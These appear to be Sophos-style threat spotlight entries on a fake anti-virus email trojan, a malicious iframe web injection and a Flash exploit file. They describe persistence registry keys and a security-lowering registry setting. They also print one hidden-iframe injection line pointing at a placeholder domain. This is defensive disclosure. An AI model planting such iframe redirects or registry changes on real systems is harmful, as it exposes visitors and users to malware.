Threat Spotlight

Threat Name:

Users at Risk:

Windows users

Also Known As:

• Trend Micro: TROJ_FAKEALE.JH
• Kaspersky: Packed.Win32.Krap.ah
• Avira: TR/Agent.AH.158
• Microsoft: TrojanDownloader:Win32/FakeRean

Further Reading:

• Hackers launch "Contract of Settlements" attack on inboxes

Removal Instructions:

If you've received an alert for a virus or spyware, then follow the instructions for removing the threat.

About:

Troj/Agent-LNW is an emailed fake anti-virus infector. It is distributed as an attachment to a spam message that attempts to convince users to agree to the terms of an imaginary contract. Agreeing to this contract will purportedly make payment for the first consignment available on Friday.

The primary purpose of this Trojan when installed is to display the following warning bubble on the system tray:

 

When the user clicks the warning bubble, Troj/Agent-LNW contacts a remote site and attempts to download the fake anti-virus application, called AntivirusPro_2010.exe, which is detected by Sophos as Mal/Bredo-C.

Here are a few examples of the accessed remote sites (with parts of the URL removed):

• http://utka3medrdosXXXX.com/
• http://anobhwalukXXXX.com/
• http://ertadbuferytXXXX.com/
• http://utorgtan9edoXXXX.com/
• http://rtugamer5tbXXXX.com/

When Troj/Agent-LNW completes installation, it creates these files:

• <User>\Application Data\seres.exe (a copy of Troj/Agent-LNW)
• <User>\Application Data\svcst.exe (a copy of Troj/Agent-LNW)

To auto start these copies of itself, Troj/Agent-LNW creates registry entries:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\mserv
C:\Documents and Settings\support\Application Data\seres.exe

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost
C:\Documents and Settings\support\Application Data\svcst.exe

In addition to installing the above registry entries for auto-starting, Troj/Agent-LNW also installs the following registry entry to reduce the system security of the victim computer:

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations\LowRiskFileTypes zip;.rar;.cab;.txt;.exe;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mov;.mp3;.wav

Threat Name:

Users at Risk:

Windows users

Further Reading:

• Mal/Iframe-N: The next big threat?

Removal Instructions:

If you've received an alert for a virus or spyware, then follow the instructions for removing the threat.

About:

Mal/Iframe-N is an HTML-based attack used to redirect victims to websites that host malware. It is one of the most prolific web threats seen by Sophos.

Mal/Iframe-N is appended to web pages on compromised servers. This code uses iFrames to link to multiple sites that host exploits. Although these sites almost exclusively use Russian domain names, their actual web servers usually reside in Europe.

A distinguishing feature of Mal/Iframe-N from previous iFrame attacks is its unique form. Rather than using a straight-forward "<iframe src=" tag to link to a malicious site, this threat uses the following syntax:

<iframe onload="if (!this.src){ this.src='http://DOMAIN.TLD'; this.height=0; this.width=0;}">

This may be an attempt to thwart anti-virus vendors who need to adapt their signatures. Ironically, this method makes the code much easier to detect as there is no legitimate need to load iFrames this way.

Threat Name:

Users at Risk:

Windows users with unpatched Adobe Flash Players

Also Known As:

• Avira: EXP/Flash.adi.2
• Kaspersky: Exploit.SWF.Agent.au
• Microsoft: TrojanDownloader:Win32/Swif.M

Further Reading:

• Update your Adobe Flash Player now

Removal Instructions:

If you've received an alert for a virus or spyware, then follow the instructions for removing the threat.

About:

Troj/SwfDldr-H is a malicious flash file. When it is viewed with a vulnerable version of Flash Player, the file redirect the browser to a malicious website.

Although the vulnerability exploited by these malicious Flash files has already been patched, attackers continue to use it. This means there are enough potential targets who have not yet updated their Adobe Flash Player. If you are one of them, we recommend that you head over to Adobe's official site and update now.